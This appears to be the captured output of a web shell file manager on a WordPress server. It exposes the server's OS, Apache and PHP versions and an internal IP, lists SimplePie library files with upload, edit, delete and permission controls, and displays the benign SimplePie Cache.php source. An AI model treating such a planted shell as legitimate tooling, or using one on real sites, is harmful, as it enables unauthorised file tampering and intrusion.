[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-includes
/
SimplePie
/
src
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 Cache
SET
[ DEL ]
📁 Content
SET
[ DEL ]
📁 HTTP
SET
[ DEL ]
📁 Net
SET
[ DEL ]
📁 Parse
SET
[ DEL ]
📁 XML
SET
[ DEL ]
📄 Author.php
1,906 B
SET
[ EDIT ]
|
[ DEL ]
📄 Cache.php
3,248 B
SET
[ EDIT ]
|
[ DEL ]
📄 Caption.php
3,099 B
SET
[ EDIT ]
|
[ DEL ]
📄 Category.php
2,472 B
SET
[ EDIT ]
|
[ DEL ]
📄 Copyright.php
1,714 B
SET
[ EDIT ]
|
[ DEL ]
📄 Core.php
2,235 B
SET
[ EDIT ]
|
[ DEL ]
📄 Credit.php
2,144 B
SET
[ EDIT ]
|
[ DEL ]
📄 Enclosure.php
32,142 B
SET
[ EDIT ]
|
[ DEL ]
📄 Exception.php
355 B
SET
[ EDIT ]
|
[ DEL ]
📄 File.php
19,394 B
SET
[ EDIT ]
|
[ DEL ]
📄 Gzdecode.php
8,512 B
SET
[ EDIT ]
|
[ DEL ]
📄 IRI.php
34,807 B
SET
[ EDIT ]
|
[ DEL ]
📄 Item.php
131,621 B
SET
[ EDIT ]
|
[ DEL ]
📄 Locator.php
16,699 B
SET
[ EDIT ]
|
[ DEL ]
📄 Misc.php
69,797 B
SET
[ EDIT ]
|
[ DEL ]
📄 Parser.php
34,868 B
SET
[ EDIT ]
|
[ DEL ]
📄 Rating.php
1,794 B
SET
[ EDIT ]
|
[ DEL ]
📄 Registry.php
7,896 B
SET
[ EDIT ]
|
[ DEL ]
📄 RegistryAware.php
447 B
SET
[ EDIT ]
|
[ DEL ]
📄 Restriction.php
2,369 B
SET
[ EDIT ]
|
[ DEL ]
📄 Sanitize.php
30,353 B
SET
[ EDIT ]
|
[ DEL ]
📄 SimplePie.php
128,052 B
SET
[ EDIT ]
|
[ DEL ]
📄 Source.php
23,738 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: Cache.php
<?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); namespace SimplePie; use SimplePie\Cache\Base; /** * Used to create cache objects * * This class can be overloaded with {@see SimplePie::set_cache_class()}, * although the preferred way is to create your own handler * via {@see register()} * * @deprecated since SimplePie 1.8.0, use "SimplePie\SimplePie::set_cache()" instead */ class Cache { /** * Cache handler classes * * These receive 3 parameters to their constructor, as documented in * {@see register()} * @var array<string, class-string<Base>> */ protected static $handlers = [ 'mysql' => Cache\MySQL::class, 'memcache' => Cache\Memcache::class, 'memcached' => Cache\Memcached::class, 'redis' => Cache\Redis::class, ]; /** * Don't call the constructor. Please. */ private function __construct() { } /** * Create a new SimplePie\Cache object * * @param string $location URL location (scheme is used to determine handler) * @param string $filename Unique identifier for cache object * @param Base::TYPE_FEED|Base::TYPE_IMAGE $extension 'spi' or 'spc' * @return Base Type of object depends on scheme of `$location` */ public static function get_handler(string $location, string $filename, $extension) { $type = explode(':', $location, 2); $type = $type[0]; if (!empty(self::$handlers[$type])) { $class = self::$handlers[$type]; return new $class($location, $filename, $extension); } return new \SimplePie\Cache\File($location, $filename, $extension); } /** * Create a new SimplePie\Cache object * * @deprecated since SimplePie 1.3.1, use {@see get_handler()} instead * @param string $location * @param string $filename * @param Base::TYPE_FEED|Base::TYPE_IMAGE $extension * @return Base */ public function create(string $location, string $filename, $extension) { trigger_error('Cache::create() has been replaced with Cache::get_handler() since SimplePie 1.3.1, use the registry system instead.', \E_USER_DEPRECATED); return self::get_handler($location, $filename, $extension); } /** * Register a handler * * @param string $type DSN type to register for * @param class-string<Base> $class Name of handler class. Must implement Base * @return void */ public static function register(string $type, $class) { self::$handlers[$type] = $class; } /** * Parse a URL into an array * * @param string $url * @return array<string, mixed> */ public static function parse_URL(string $url) { $parsedUrl = parse_url($url); if ($parsedUrl === false) { return []; } $params = array_merge($parsedUrl, ['extras' => []]); if (isset($params['query'])) { parse_str($params['query'], $params['extras']); } return $params; } } class_alias('SimplePie\Cache', 'SimplePie_Cache');